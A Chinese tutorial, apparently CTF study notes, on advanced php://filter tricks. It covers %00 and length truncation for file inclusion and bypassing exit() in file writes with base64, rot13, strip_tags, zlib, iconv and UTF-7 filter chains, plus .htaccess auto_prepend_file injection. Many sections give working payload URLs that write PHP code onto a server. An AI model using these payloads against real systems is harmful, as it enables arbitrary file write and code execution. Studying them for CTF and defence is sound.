PHP伪协议进阶
php伪协议进阶总结:
这里主要还是对php伪协议的使用和绕过做一个总结。免得后面忘记了。
绕过方式:
Url%00截断:
对于这种类型的代码:
|
可以使用url%00截断进行绕过。这里是因为在使用Include函数的时候,对于参数进行了拼接,如果我们直接传入会造成不能正确执行伪协议的文件读取。
这里可以通过%00来对传入的伪协议进行截断,形如:
php://filter/read=convert.base64-encode/resource=flag.php%00 |
可以达成绕过。
%00截断的根本原理和使用条件:
原理是因为%00在url中会被后端理解为是十六进制格式的值,然后服务器会将其作为16进制的hex自动翻译成0x00,也就是空值。
在底层的C和汇编中,会将这个空值用来表示字符串结束,是一个特殊的标识符。当解析到这个标识符的时候,就会自动停止读取,实现截断。
使用条件:
- GET方式传参
- PHP版本小于5.3.4
- 启用magic_quote_gpc
注意不能使用POST,因为POST不会对%00进行url解码,因此不会生成空字符,需要使用0x00进行截断
同时也不能将%00放在文件名里面,这是因为文件名中的%00会被解析为字符串,不能被正确执行。
这里填
长度截断:
这里主要是利用操作系统对于目录字符存在有长度限制。
在windows环境下,对于目录的最大长度限制是256字节,而在Linux环境下,最大长度限制是4096字节。
只要超出了长度限制,就会产生丢弃。
因此,对于上述的文件名拼接,可以通过将文件名设置过长,来避免文件路径的拼接,同时使用的目录字符不会被错误读取,就可以绕过。
在windows环境下使用.
在Linux环境下使用./
长度截断使用条件:
- php版本小于5.2.8
常见伪协议:
exit()死亡绕过:
在使用file_put_contents()函数进行文件写入的时候,经常会遇到通过exit()
函数来避免命令执行的方法。一般管这玩意儿叫做死亡函数。
对于形如这样的代码:
|
如果进行了文件写入之后,会发现exit()
函数始终在需要执行的代码前面。因此需要进行绕过,否则的话不能实现我们需要的效果。
这里绕过的常见思路是对文件中的exit()
函数进行污染。
常见操作有:
base64解码绕过:
对于base64来说,加密后的结果应该只包含a-z,0-9,A-Z,+,=,/
这几个字符。
其中=
用于填充字符串。
当PHP使用base64进行解码的时候,遇到不包含在base64字符集中的字符,会直接进行跳过,然后再进行解密。
同时会将四个字节作为一组来进行解码。
也就是说,对于文件中的<?php exit();?>
函数,在base64中只会被认为是phpexit
,这个时候只要再添加一个字节的字符,就会凑成八个字节,然后就会被base64解码成为乱码。保存到文件中。
实例:
测试代码:
|
这里使用php://filter的base64解密参数,对文件的内容进行解码,作为文件名,同时将<?php info(); ?>
进行base64加密后,添加一个字节,传入。
添加一个a:
aPD9waHAgcGhwaW5mbygpOyA/Pg== |
传入:
http://localhost/?b=php://filter/write=convert.base64-decode/resource=test.php&a=aPD9waHAgcGhwaW5mbygpOyA/Pg== |
可以看见exit()被污染了。可以正常执行php文件。
rot13解码绕过:
原理和base64的解码绕过是相同的,之所以使用这个解码方式,是因为在php://filter中自带的加密解密方法就是base64和rot13。
关于rot13的加密解密原理,参考:
简单来说,这个就是一个凯撒密码,将所有的字母向后位移13位就行。 同时,也和base64一样,会将不在字符集内(a-z,A-Z)的符号进行忽略。
这里需要理解到的是,这个rot13因为是一个另类的凯撒算法,所以是一个对称密码,因此,只要进行两次加密,就等于解密,进行两次解密就等于加密。
所以,当我们传入的值是一个加密后的值,再进行一次加密之后,就会对等于解密,同时会将<?php exit(); ?>
进行加密。就可以实现绕过了。
因此可以:
localhost/?b=php://filter/string.rot13/resource=test.php&a=<?cuc cucvasb(); ?> |
文件写入结果:
执行结果。
版本问题:
对于小于php 5.3.29,可能会导致代码执行失败,应该是某个配置造成的。
string.strip_tags嵌套绕过:
这个伪协议中的参数等同于使用strip_tags()函数处理所有的流。
strip_tags
—从字符串中去除 HTML 和 PHP 标记.该函数尝试返回给定的字符串str
去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()
一样的机制去除标记。
因为这个可以去除php标记,所以可以嵌套使用,思路和之前的类似。
首先将我们想要写入的内容进行base64加密,然后再嵌套使用string.strip_tags和convert.base64-decode,先去除PHP标记,然后再进行base64解密,就可以实现写入了。
payload:
localhost/?b=php://filter/string.strip_tags|convert.base64-decode/resource=test.php&a=PD9waHAgcGhwaW5mbygpOyA/Pg== |
写入结果:
执行结果:
使用条件:
- php版本小于7(虽然是写的小于7.3,但是实测是7.2的时候,就会报错了。)
当在PHP版本大于7的环境使用的时候,会出现报错。
因此只能在PHP版本五中进行使用。而对于版本大于7的PHP环境中,也有自己的过滤器嵌套绕过方法。
zlib.deflate嵌套绕过:
对于压缩过滤器,在平时使用php伪协议的时候不太常用到,这里贴一个链接,用来说明使用方式:
这里可以看见这个过滤器和zip://
协议的不同,因为zip://
协议是只能用于对本地文件的压缩和解压缩,但是zlib.deflate
和zlib.inflate
是用于对流的压缩和解压缩,可以用于将非压缩流,转化为压缩流。
如果只是单独使用压缩和解压缩,当然不会对文件的内容产生影响,但是可以在中间添加一个string.tolower
,然后再进行解压缩流。
string.tolower
可以用于将输入流进行小写转换,这里的使用方式,主要是首先通过zlib.deflate
将我们传入的参数进行压缩,然后进行小写转换,再进行解压缩。
这里的思路还是通过加密,解密,压缩解压缩的方式对文件中的值进行污染。
但是根本原理我在网上找了很多文章,都没找到。
也就是说,目前只能用在对于exit()函数的绕过中。
这里简述一下我尝试后得出的特点:
特点:
- 对于写入的语句来说,大写的字母不会被污染,对于小写的字母,当字母成为字符串的时候,会对其中的一些特殊字母污染。
- 特殊的字母有a,b,e之类的
- 会将空格消除掉。
这里提供一下payload:
http://localhost/?b=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=test.php&a=<?php%0dphpinfo();?> |
写入效果:
这里需要注意到的一点是,因为通过这种方式写入的文件内容,会将其中的空格消除掉,所以在<?php
和phpinfo();
中间,不能直接填写空格,而是要通过%0d进行分割,也就是url编码的换行符。
这里看别的师傅的博客,给了几个解,这里贴一下,用于参考:
?file=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=4.php |
运行结果:
.htaccess文件预包含绕过:
对于apache
中始终存在的.htaccess文件动点手脚。
首先,在php.ini中存在两个配置选项:
auto_prepend_file 在页面顶部加载文件 |
这两个配饰选项,可以通过在页面的底部或者是顶部对需要的文件进行加载,这个文件可以是多种文件。
配置方式例如:
auto_prepend_file = "/home/fdipzone/header.php" |
使用以上的配置,会使得服务器内的所有页面都在顶部和尾部加载相应的php文件。
可以指定一个文件夹内的页面进行:
在需要进行文件包含的文件夹内加入.htaccess文件,写入如下配置
php_value auto_prepend_file "/home/fdipzone/header.php" |
只要能够对.htaccess文件进行修改,就能够使用任何文件对flag文件进行包含了。
因此可以写入如下payload:
http://localhost/?b=php://filter/write=string.strip_tags/resource=.htaccess&a=php_value%20auto_prepend_file%20%22/test.php%22 |
然后就可以在对应的文件架下的任意页面加载flag了。
算是对string.strip_tags
过滤器的进一步利用了,因为没有写入php语句,也不需要像上面的绕过方式一样,使用base64加密。
exit()死亡绕过进阶:bypass相同变量
对于上述的绕过方式,存在后端源码是这样的:
|
但是实际上还存在这样的代码:
|
这里可以看见,他将文件的名字设为了和我们写入的内容是一样的,这里就提高了难度,我们需要在写入内容中添加.php才能作为php文件进行执行。
已知的存在以下绕过方法:
base64去除等号绕过:
这里使用的base64和之前的方法不能一样,这里可以做一个实验:
http://localhost/?a=php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php |
这里我传入payload如上。其中的字符串部分是加密后的<?php phpinfo(); ?>
。理论上来说,这里会尝试写入文件。
但是事实上,可以看见这里爆了很多错:
可以看见这里被我圈出来的部分,这个地方报的错比较关键。
首先重新理解一下使用base64加密流传入的数据
当我们使用以上的payload进行传入的时候,文件中的内容应当是:
<?php exit(); ?>php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php |
然后对整体进行一次base64解密,这样就会对前面的exit()造成污染。
这里可以看见,通过输入payload,已经在本地生成了一个文件了,说明文件名是成功执行了的,但是文件内容是空的。
这里的主要原因是因为,在文件内容中,进行base64解密的时候,会将resource=
这部分也作为base64进行解密,而=
在base64中是作为占位填充符写入的,始终出现在加密字符串的最后端。
因此,只要在最后的等号后出现了别的字符,在base64进行解密的时候,就会认为这个字符串是有问题的,报错。
因此,要尝试写入,就必须想办法避免这个等号。
这里参考的网上师傅的做法,就是将使用string.strip_tags
过滤器,将其中的resource后面的等号去掉:
这里payload大概是:
http://localhost/text.php?a=php://filter/string.strip_tags|convert.base64-decode|%3C/resource=%3EaaPD9waHAgcGhwaW5mbygpOz8+/../123.php |
写入效果:
这里写入的原理,是因为在伪协议写入的文件流中,使用了string.strip_tags过滤器,当我们直接将文件内容写入后,进行读取的时候,就会将文件中的php标签,或是XML的标签去掉。而在这个payload中,对resource和等号部分做了处理,写成了<resource=>
,这里会被理解为是XML的标签,因此会将resource=
直接去除,这样就不会因为等号造成影响。
这里写一个参考payload:
http://localhost/text.php?a=php://filter/string.strip_tags|convert.base64-decode|%3C/resource=%3EaaPD9waHAgcGhwaW5mbygpOyAgICAgICAgID8%2B/../123.php |
通过这个方式,能够将文件写入到123.php文件中。
执行效果:
注意点:
因为这里是因为=
导致的报错,所以会需要对resource=
进行去除,但是在对写入的字符串进行解密的时候,有可能同样会出现进行base64编码后,字符串内容出现=号的占位符号。在这个情况下,写入的文件内容是:
<?php exit(); ?>php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4=/../123.php |
当对这个进行base64解密的时候,同样还是会出错。所以需要做一些操作。
比如可以在字符串中添加空格,跳过=占位符。
或者是通过对字符串进行处理,在=号的左右边添加<>
,然后使用string.strip_tags
删除,这样就不会出现问题了。
aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4<=> |
以及传入的base64加密的字符串前要加上两个字符,因为这样才能保证解码不会出错
文件解码的时候才能正常解码,否则最终还是会解码成为乱码。
这个用法在TP5.0.x的POP链里可以用到
rot13编码
因为rot13编码方式其实是一个替换字符的凯撒密码,因此是不需要考虑等号的,可以和之前的绕过方式一样,直接执行就可以了。
这里可以给出一个Payload:
http://localhost/text.php?a=php://filter/string.rot13|%3C?cuc%20cucvasb();?%3E/resource=123/../123.php |
通过这个方式,写入的文件内容如下:
要执行这个文件,需要没有开启short_open_tag
这个选项。
iconv字符编码绕过:
除了上述的几种编码方式,还有一种可以使用iconv字符编码进行绕过的方式。
其实基本原理还是类似于base64和rot13的编码方式。其实就是通过不同的编码方法,对exit()执行先加密,然后解密的过程,在这个过程中使得exit()函数失效即可。
在PHP中,iconv函数库主要用于完成各种字符集之间的转换,在该函数库下面存在一个convert.iconv.
的过滤器,这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*
过滤器等同于使用iconv()函数处理所有的流数据。
(也就是直接对我们使用filter进行传入的所有流数据进行处理。)
使用iconv的格式大体如下:
iconv ( string $in_charset , string $out_charset , string $str ) : string |
也就是将字符串str从in_charset
转换编码到out_chareset
。这里可以利用不同的编码格式,来对写入的字符串进行污染。
这里一般使用到的是ucs编码。
对于UCS存在两种编码格式:
UCS-2和UCS-4
UCS-2就是用两个字节编码
UCS-4就是用四个字节编码
因此,就和使用rot13方式一样,可以直接传入加密后的字符串,然后再进行解密即可。
UCS-2编码方式,是对目标字符进行2位一反转,而UCS-4则是对目标字符串进行四位一反转。
这里要进行字符编码,可以直接使用PHP中自带的函数,也就是上面写的iconv函数。
这里是使用ucs-2的函数:
|
输出效果:
这里的2LE和2BE可以看作是小端和大端的例子。
对于进行编码的字符串,需要是2的倍数,如果不是2的倍数的话,不能正常进行翻转,多余不满足的字符串会被截断。
同理,UCS-4也是这样的,字符串需要满足是4的倍数,否则不能正常进行翻转,同样会将多余的部分截断。
UCS-4的程序:
|
(这里字符串长20,同时是4和2的倍数,我就没改)
这里尝试传入payload,使用UCS-2编码方式:
http://localhost/text.php?a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=123/../123.php |
写入效果:
运行效果:
而使用UCS-4的写入效果同理:
|
这里注意,要将字符串补充到4的倍数,因此添加了两个a。
然后使用伪协议进行处理:
http://localhost/text.php?a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|?%3Caa%20phpiphp(ofn%3E?;)/resource=123.php |
即可实现写入。
UTF-8字符编码绕过:
这个绕过方法属于base64去除等号绕过方法的另改版,可以通过进行不同编码的方法来去除等号,这样的话,就可以避免因为resource=
的原因导致base64解码失败。
这里简单来说,就是将等号的编码从utf-8转换为utf-7,会将等号转换为+AD0-
,但是这样并不会影响对于base64的解码。
|
运行结果:
也就是说,可以通过将字符串转换为utf-7,然后通过base64解码就可以了。
这里给出一个Payload:
http://localhost/text.php?a=php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4=/resource=123.php |
注意这里对base64加密的字符串前面加上了两个a
,这是为了凑够4的倍数,因为将utf-8转换为utf-7的时候,会使得字符串产生变化,这个得根据自己的Payload来实际算一下,比如我的,写入文件后应该是这样的:
<?php exit();?>php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4=/resource=123.php |
然后进行utf-8转换为utf-7,可以看见字符串变成了:
+ADw?php exit()+ADs?+AD4-php://filter/convert.iconv.UTF-8.UTF-7+AHw-convert.base64-decode+AHw-aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4+AD0-/resource+AD0-123.php |
这里根据之前写过的base64编码后的原则数一下,可以发现这里在Payload前面一共存在78个字符,所以添上两个字符。
写入效果: